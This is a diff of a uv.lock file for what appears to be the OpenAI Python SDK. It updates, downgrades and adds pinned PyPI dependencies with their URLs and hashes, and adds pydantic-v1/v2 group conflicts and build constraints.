index c94f9aa6ea..e445e96774 100644
--- a/uv.lock
+++ b/uv.lock
@@ -5,19 +5,41 @@ resolution-markers = [
"python_full_version >= '3.14' and sys_platform == 'win32'",
"python_full_version >= '3.14' and sys_platform == 'emscripten'",
"python_full_version >= '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
- "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform == 'win32'",
- "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform == 'emscripten'",
- "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'win32'",
+ "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'",
+ "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version == '3.11.*' and sys_platform == 'win32'",
+ "python_full_version == '3.11.*' and sys_platform == 'emscripten'",
+ "python_full_version == '3.11.*' and sys_platform != 'emscripten' and sys_platform != 'win32'",
"python_full_version < '3.11'",
]
+conflicts = [[
+ { package = "openai", group = "pydantic-v1" },
+ { package = "openai", group = "pydantic-v2" },
+]]
+
+[options]
+exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values.
+exclude-newer-span = "P8D"
+
+[manifest]
+build-constraints = [
+ { name = "hatch-fancy-pypi-readme", specifier = "==25.1.0" },
+ { name = "hatchling", specifier = "==1.26.3" },
+ { name = "packaging", specifier = "==26.3" },
+ { name = "pathspec", specifier = "==1.1.1" },
+ { name = "pluggy", specifier = "==1.6.0" },
+ { name = "tomli", marker = "python_full_version < '3.11'", specifier = "==2.4.1" },
+ { name = "trove-classifiers", specifier = "==2026.6.1.19" },
+]
[[package]]
name = "aiohappyeyeballs"
-version = "2.6.2"
+version = "2.7.1"
source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/33/c6/61a2d7b7572279226bb2e7f61d7a19ca7c90da0329c93fa0d560cbf288d8/aiohappyeyeballs-2.6.2.tar.gz", hash = "sha256:e202810ee718bd01fc6ef49e8ea53d023d5cb6b581076d7925aa499fa55dbe64", size = 22591, upload-time = "2026-05-20T15:12:24.631Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/ce/f4/eec0465c2f67b2664688d0240b3212d5196fd89e741df67ddb81f8d35658/aiohappyeyeballs-2.7.1.tar.gz", hash = "sha256:065665c041c42a5938ed220bdcd7230f22527fbec085e1853d2402c8a3615d9d", size = 24757, upload-time = "2026-07-01T17:11:55.501Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/5f/fc/a7bf5b6e4e617b45f90f2d9d2a68519c249c81dd4fc2658c7a2a61c4f4b7/aiohappyeyeballs-2.6.2-py3-none-any.whl", hash = "sha256:4708045e2d7a6c6bdf8aafa8ed39649eaf926a4543b54560659129e3365953c4", size = 15062, upload-time = "2026-05-20T15:12:23.328Z" },
+ { url = "https://files.pythonhosted.org/packages/71/43/1947f06babed6b3f1d7f38b0c767f52df66bfb2bc10b468c4a7de9eceff2/aiohappyeyeballs-2.7.1-py3-none-any.whl", hash = "sha256:9243213661e29250eb41368e5daa826fc017156c3b8a11440826b2e3ed376472", size = 15038, upload-time = "2026-07-01T17:11:54.055Z" },
]
[[package]]
@@ -27,12 +49,12 @@ source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "aiohappyeyeballs" },
{ name = "aiosignal" },
- { name = "async-timeout", marker = "python_full_version < '3.11'" },
+ { name = "async-timeout", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
{ name = "attrs" },
{ name = "frozenlist" },
{ name = "multidict" },
{ name = "propcache" },
- { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+ { name = "typing-extensions", marker = "python_full_version < '3.13' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
{ name = "yarl" },
]
sdist = { url = "https://files.pythonhosted.org/packages/58/d9/22ce5786ac0c1653ae8b6c23bded02c1686d11f0dbb45b31ce128e0df985/aiohttp-3.14.3.tar.gz", hash = "sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc", size = 7971213, upload-time = "2026-07-23T01:57:27.037Z" }
@@ -163,7 +185,7 @@ version = "1.4.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "frozenlist" },
- { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+ { name = "typing-extensions", marker = "python_full_version < '3.13' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
]
sdist = { url = "https://files.pythonhosted.org/packages/61/62/06741b579156360248d1ec624842ad0edf697050bbaf7c3e46394e106ad1/aiosignal-1.4.0.tar.gz", hash = "sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7", size = 25007, upload-time = "2025-07-03T22:54:43.528Z" }
wheels = [
@@ -181,16 +203,25 @@ wheels = [
[[package]]
name = "anyio"
-version = "4.14.0"
+version = "4.12.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
- { name = "exceptiongroup", marker = "python_full_version < '3.11'" },
+ { name = "exceptiongroup", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
{ name = "idna" },
- { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+ { name = "typing-extensions", marker = "python_full_version < '3.13' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/1c/b5/001890774a9552aff22502b8da382593109ce0c95314abaebbb116567545/anyio-4.14.0.tar.gz", hash = "sha256:b47c1f9ccf73e67021df785332508f99379c68fa7d0684e8e3492cb1d4b23f89", size = 253586, upload-time = "2026-06-15T22:00:49.021Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/96/f0/5eb65b2bb0d09ac6776f2eb54adee6abe8228ea05b20a5ad0e4945de8aac/anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703", size = 228685, upload-time = "2026-01-06T11:45:21.246Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/ba/16/9826f089383c593cdfc4a6e5aca94d9e91ae1692c57af82c3b2aa5e810f7/anyio-4.14.0-py3-none-any.whl", hash = "sha256:dd9b7a2a9799ed6552fde617b2c5df02b7fdd7d88392fc48101e51bae46164d9", size = 123506, upload-time = "2026-06-15T22:00:47.595Z" },
+ { url = "https://files.pythonhosted.org/packages/38/0e/27be9fdef66e72d64c0cdc3cc2823101b80585f8119b5c112c2e8f5f7dab/anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c", size = 113592, upload-time = "2026-01-06T11:45:19.497Z" },
+]
+
+[[package]]
+name = "asttokens"
+version = "3.0.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/be/a5/8e3f9b6771b0b408517c82d97aed8f2036509bc247d46114925e32fe33f0/asttokens-3.0.1.tar.gz", hash = "sha256:71a4ee5de0bde6a31d64f6b13f2293ac190344478f081c3d1bccfcf5eacb0cb7", size = 62308, upload-time = "2025-11-15T16:43:48.578Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/d2/39/e7eaf1799466a4aef85b6a4fe7bd175ad2b1c6345066aa33f1f58d4b18d0/asttokens-3.0.1-py3-none-any.whl", hash = "sha256:15a3ebc0f43c2d0a50eeafea25e19046c68398e487b9f1f5b517f7c0f40f976a", size = 27047, upload-time = "2025-11-15T16:43:16.109Z" },
]
[[package]]
@@ -204,25 +235,72 @@ wheels = [
[[package]]
name = "attrs"
-version = "26.1.0"
+version = "25.4.0"
source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/9a/8e/82a0fe20a541c03148528be8cac2408564a6c9a0cc7e9171802bc1d26985/attrs-26.1.0.tar.gz", hash = "sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32", size = 952055, upload-time = "2026-03-19T14:22:25.026Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/6b/5c/685e6633917e101e5dcb62b9dd76946cbb57c26e133bae9e0cd36033c0a9/attrs-25.4.0.tar.gz", hash = "sha256:16d5969b87f0859ef33a48b35d55ac1be6e42ae49d5e853b597db70c35c57e11", size = 934251, upload-time = "2025-10-06T13:54:44.725Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/64/b4/17d4b0b2a2dc85a6df63d1157e028ed19f90d4cd97c36717afef2bc2f395/attrs-26.1.0-py3-none-any.whl", hash = "sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309", size = 67548, upload-time = "2026-03-19T14:22:23.645Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/2a/7cc015f5b9f5db42b7d48157e23356022889fc354a2813c15934b7cb5c0e/attrs-25.4.0-py3-none-any.whl", hash = "sha256:adcf7e2a1fb3b36ac48d97835bb6d8ade15b8dcce26aba8bf1d14847b57a3373", size = 67615, upload-time = "2025-10-06T13:54:43.17Z" },
+]
+
+[[package]]
+name = "azure-core"
+version = "1.36.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "requests" },
+ { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/0a/c4/d4ff3bc3ddf155156460bff340bbe9533f99fac54ddea165f35a8619f162/azure_core-1.36.0.tar.gz", hash = "sha256:22e5605e6d0bf1d229726af56d9e92bc37b6e726b141a18be0b4d424131741b7", size = 351139, upload-time = "2025-10-15T00:33:49.083Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b1/3c/b90d5afc2e47c4a45f4bba00f9c3193b0417fad5ad3bb07869f9d12832aa/azure_core-1.36.0-py3-none-any.whl", hash = "sha256:fee9923a3a753e94a259563429f3644aaf05c486d45b1215d098115102d91d3b", size = 213302, upload-time = "2025-10-15T00:33:51.058Z" },
+]
+
+[[package]]
+name = "azure-identity"
+version = "1.25.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "azure-core" },
+ { name = "cryptography" },
+ { name = "msal" },
+ { name = "msal-extensions" },
+ { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/06/8d/1a6c41c28a37eab26dc85ab6c86992c700cd3f4a597d9ed174b0e9c69489/azure_identity-1.25.1.tar.gz", hash = "sha256:87ca8328883de6036443e1c37b40e8dc8fb74898240f61071e09d2e369361456", size = 279826, upload-time = "2025-10-06T20:30:02.194Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/83/7b/5652771e24fff12da9dde4c20ecf4682e606b104f26419d139758cc935a6/azure_identity-1.25.1-py3-none-any.whl", hash = "sha256:e9edd720af03dff020223cd269fa3a61e8f345ea75443858273bcb44844ab651", size = 191317, upload-time = "2025-10-06T20:30:04.251Z" },
+]
+
+[[package]]
+name = "backports-asyncio-runner"
+version = "1.2.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/8e/ff/70dca7d7cb1cbc0edb2c6cc0c38b65cba36cccc491eca64cabd5fe7f8670/backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162", size = 69893, upload-time = "2025-07-02T02:27:15.685Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/a0/59/76ab57e3fe74484f48a53f8e337171b4a2349e506eabe136d7e01d059086/backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5", size = 12313, upload-time = "2025-07-02T02:27:14.263Z" },
]
[[package]]
name = "botocore"
-version = "1.43.46"
+version = "1.42.97"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "jmespath" },
{ name = "python-dateutil" },
{ name = "urllib3" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/7d/f1/1917891851ac5ac09bb9f4862b8fc9252a009d7c24e8688bb67e4383d9e7/botocore-1.43.46.tar.gz", hash = "sha256:59f2e1ac3cdc66d191cae91c0804bc41847ce817dc8147cf43eaada8f76a5533", size = 15694635, upload-time = "2026-07-10T19:32:00.437Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/c6/95/c37edb602948fad2253ffd1bb3dba5b938645bd1845ee4160350136a0f41/botocore-1.42.97.tar.gz", hash = "sha256:5c0bb00e32d16ff6d278cc8c9e10dc3672d9c1d569031635ac3c908a60de8310", size = 15269348, upload-time = "2026-04-27T20:39:05.625Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/e3/d2/8e025ba1a4e257879af72d06913272311af79673d82fa2581a351b924317/botocore-1.42.97-py3-none-any.whl", hash = "sha256:77d2c8ce1bc592d3fbd7c01c35836f4a5b0cac2ca03ccdf6ffc60faa16b5fadc", size = 14950367, upload-time = "2026-04-27T20:39:01.261Z" },
+]
+
+[[package]]
+name = "certifi"
+version = "2026.1.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e0/2d/a891ca51311197f6ad14a7ef42e2399f36cf2f9bd44752b3dc4eab60fdc5/certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120", size = 154268, upload-time = "2026-01-04T02:42:41.825Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/0e/f2/4bd8f2f419088feb3ce55f0ca91040ff902f402edfd197450b20a2e1d533/botocore-1.43.46-py3-none-any.whl", hash = "sha256:cb673891e623ae6e6a1bf24d94ef169504f3eb02584adb5d5bee2f6aae819b60", size = 15380350, upload-time = "2026-07-10T19:31:57.616Z" },
+ { url = "https://files.pythonhosted.org/packages/e6/ad/3cc14f097111b4de0040c83a525973216457bbeeb63739ef1ed275c1c021/certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c", size = 152900, upload-time = "2026-01-04T02:42:40.15Z" },
]
[[package]]
@@ -230,7 +308,7 @@ name = "cffi"
version = "2.0.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
- { name = "pycparser", marker = "implementation_name != 'PyPy'" },
+ { name = "pycparser", marker = "implementation_name != 'PyPy' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
]
sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 523588, upload-time = "2025-09-08T23:24:04.541Z" }
wheels = [
@@ -307,6 +385,169 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/ae/3a/dbeec9d1ee0844c679f6bb5d6ad4e9f198b1224f4e7a32825f47f6192b0c/cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9", size = 184195, upload-time = "2025-09-08T23:23:43.004Z" },
]
+[[package]]
+name = "charset-normalizer"
+version = "3.4.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/13/69/33ddede1939fdd074bce5434295f38fae7136463422fe4fd3e0e89b98062/charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a", size = 129418, upload-time = "2025-10-14T04:42:32.879Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/1f/b8/6d51fc1d52cbd52cd4ccedd5b5b2f0f6a11bbf6765c782298b0f3e808541/charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d", size = 209709, upload-time = "2025-10-14T04:40:11.385Z" },
+ { url = "https://files.pythonhosted.org/packages/5c/af/1f9d7f7faafe2ddfb6f72a2e07a548a629c61ad510fe60f9630309908fef/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8", size = 148814, upload-time = "2025-10-14T04:40:13.135Z" },
+ { url = "https://files.pythonhosted.org/packages/79/3d/f2e3ac2bbc056ca0c204298ea4e3d9db9b4afe437812638759db2c976b5f/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad", size = 144467, upload-time = "2025-10-14T04:40:14.728Z" },
+ { url = "https://files.pythonhosted.org/packages/ec/85/1bf997003815e60d57de7bd972c57dc6950446a3e4ccac43bc3070721856/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8", size = 162280, upload-time = "2025-10-14T04:40:16.14Z" },
+ { url = "https://files.pythonhosted.org/packages/3e/8e/6aa1952f56b192f54921c436b87f2aaf7c7a7c3d0d1a765547d64fd83c13/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d", size = 159454, upload-time = "2025-10-14T04:40:17.567Z" },
+ { url = "https://files.pythonhosted.org/packages/36/3b/60cbd1f8e93aa25d1c669c649b7a655b0b5fb4c571858910ea9332678558/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313", size = 153609, upload-time = "2025-10-14T04:40:19.08Z" },
+ { url = "https://files.pythonhosted.org/packages/64/91/6a13396948b8fd3c4b4fd5bc74d045f5637d78c9675585e8e9fbe5636554/charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e", size = 151849, upload-time = "2025-10-14T04:40:20.607Z" },
+ { url = "https://files.pythonhosted.org/packages/b7/7a/59482e28b9981d105691e968c544cc0df3b7d6133152fb3dcdc8f135da7a/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93", size = 151586, upload-time = "2025-10-14T04:40:21.719Z" },
+ { url = "https://files.pythonhosted.org/packages/92/59/f64ef6a1c4bdd2baf892b04cd78792ed8684fbc48d4c2afe467d96b4df57/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0", size = 145290, upload-time = "2025-10-14T04:40:23.069Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/63/3bf9f279ddfa641ffa1962b0db6a57a9c294361cc2f5fcac997049a00e9c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84", size = 163663, upload-time = "2025-10-14T04:40:24.17Z" },
+ { url = "https://files.pythonhosted.org/packages/ed/09/c9e38fc8fa9e0849b172b581fd9803bdf6e694041127933934184e19f8c3/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e", size = 151964, upload-time = "2025-10-14T04:40:25.368Z" },
+ { url = "https://files.pythonhosted.org/packages/d2/d1/d28b747e512d0da79d8b6a1ac18b7ab2ecfd81b2944c4c710e166d8dd09c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db", size = 161064, upload-time = "2025-10-14T04:40:26.806Z" },
+ { url = "https://files.pythonhosted.org/packages/bb/9a/31d62b611d901c3b9e5500c36aab0ff5eb442043fb3a1c254200d3d397d9/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6", size = 155015, upload-time = "2025-10-14T04:40:28.284Z" },
+ { url = "https://files.pythonhosted.org/packages/1f/f3/107e008fa2bff0c8b9319584174418e5e5285fef32f79d8ee6a430d0039c/charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f", size = 99792, upload-time = "2025-10-14T04:40:29.613Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/66/e396e8a408843337d7315bab30dbf106c38966f1819f123257f5520f8a96/charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d", size = 107198, upload-time = "2025-10-14T04:40:30.644Z" },
+ { url = "https://files.pythonhosted.org/packages/b5/58/01b4f815bf0312704c267f2ccb6e5d42bcc7752340cd487bc9f8c3710597/charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69", size = 100262, upload-time = "2025-10-14T04:40:32.108Z" },
+ { url = "https://files.pythonhosted.org/packages/ed/27/c6491ff4954e58a10f69ad90aca8a1b6fe9c5d3c6f380907af3c37435b59/charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8", size = 206988, upload-time = "2025-10-14T04:40:33.79Z" },
+ { url = "https://files.pythonhosted.org/packages/94/59/2e87300fe67ab820b5428580a53cad894272dbb97f38a7a814a2a1ac1011/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0", size = 147324, upload-time = "2025-10-14T04:40:34.961Z" },
+ { url = "https://files.pythonhosted.org/packages/07/fb/0cf61dc84b2b088391830f6274cb57c82e4da8bbc2efeac8c025edb88772/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3", size = 142742, upload-time = "2025-10-14T04:40:36.105Z" },
+ { url = "https://files.pythonhosted.org/packages/62/8b/171935adf2312cd745d290ed93cf16cf0dfe320863ab7cbeeae1dcd6535f/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc", size = 160863, upload-time = "2025-10-14T04:40:37.188Z" },
+ { url = "https://files.pythonhosted.org/packages/09/73/ad875b192bda14f2173bfc1bc9a55e009808484a4b256748d931b6948442/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897", size = 157837, upload-time = "2025-10-14T04:40:38.435Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/fc/de9cce525b2c5b94b47c70a4b4fb19f871b24995c728e957ee68ab1671ea/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381", size = 151550, upload-time = "2025-10-14T04:40:40.053Z" },
+ { url = "https://files.pythonhosted.org/packages/55/c2/43edd615fdfba8c6f2dfbd459b25a6b3b551f24ea21981e23fb768503ce1/charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815", size = 149162, upload-time = "2025-10-14T04:40:41.163Z" },
+ { url = "https://files.pythonhosted.org/packages/03/86/bde4ad8b4d0e9429a4e82c1e8f5c659993a9a863ad62c7df05cf7b678d75/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0", size = 150019, upload-time = "2025-10-14T04:40:42.276Z" },
+ { url = "https://files.pythonhosted.org/packages/1f/86/a151eb2af293a7e7bac3a739b81072585ce36ccfb4493039f49f1d3cae8c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161", size = 143310, upload-time = "2025-10-14T04:40:43.439Z" },
+ { url = "https://files.pythonhosted.org/packages/b5/fe/43dae6144a7e07b87478fdfc4dbe9efd5defb0e7ec29f5f58a55aeef7bf7/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4", size = 162022, upload-time = "2025-10-14T04:40:44.547Z" },
+ { url = "https://files.pythonhosted.org/packages/80/e6/7aab83774f5d2bca81f42ac58d04caf44f0cc2b65fc6db2b3b2e8a05f3b3/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89", size = 149383, upload-time = "2025-10-14T04:40:46.018Z" },
+ { url = "https://files.pythonhosted.org/packages/4f/e8/b289173b4edae05c0dde07f69f8db476a0b511eac556dfe0d6bda3c43384/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569", size = 159098, upload-time = "2025-10-14T04:40:47.081Z" },
+ { url = "https://files.pythonhosted.org/packages/d8/df/fe699727754cae3f8478493c7f45f777b17c3ef0600e28abfec8619eb49c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224", size = 152991, upload-time = "2025-10-14T04:40:48.246Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/86/584869fe4ddb6ffa3bd9f491b87a01568797fb9bd8933f557dba9771beaf/charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a", size = 99456, upload-time = "2025-10-14T04:40:49.376Z" },
+ { url = "https://files.pythonhosted.org/packages/65/f6/62fdd5feb60530f50f7e38b4f6a1d5203f4d16ff4f9f0952962c044e919a/charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016", size = 106978, upload-time = "2025-10-14T04:40:50.844Z" },
+ { url = "https://files.pythonhosted.org/packages/7a/9d/0710916e6c82948b3be62d9d398cb4fcf4e97b56d6a6aeccd66c4b2f2bd5/charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1", size = 99969, upload-time = "2025-10-14T04:40:52.272Z" },
+ { url = "https://files.pythonhosted.org/packages/f3/85/1637cd4af66fa687396e757dec650f28025f2a2f5a5531a3208dc0ec43f2/charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394", size = 208425, upload-time = "2025-10-14T04:40:53.353Z" },
+ { url = "https://files.pythonhosted.org/packages/9d/6a/04130023fef2a0d9c62d0bae2649b69f7b7d8d24ea5536feef50551029df/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25", size = 148162, upload-time = "2025-10-14T04:40:54.558Z" },
+ { url = "https://files.pythonhosted.org/packages/78/29/62328d79aa60da22c9e0b9a66539feae06ca0f5a4171ac4f7dc285b83688/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef", size = 144558, upload-time = "2025-10-14T04:40:55.677Z" },
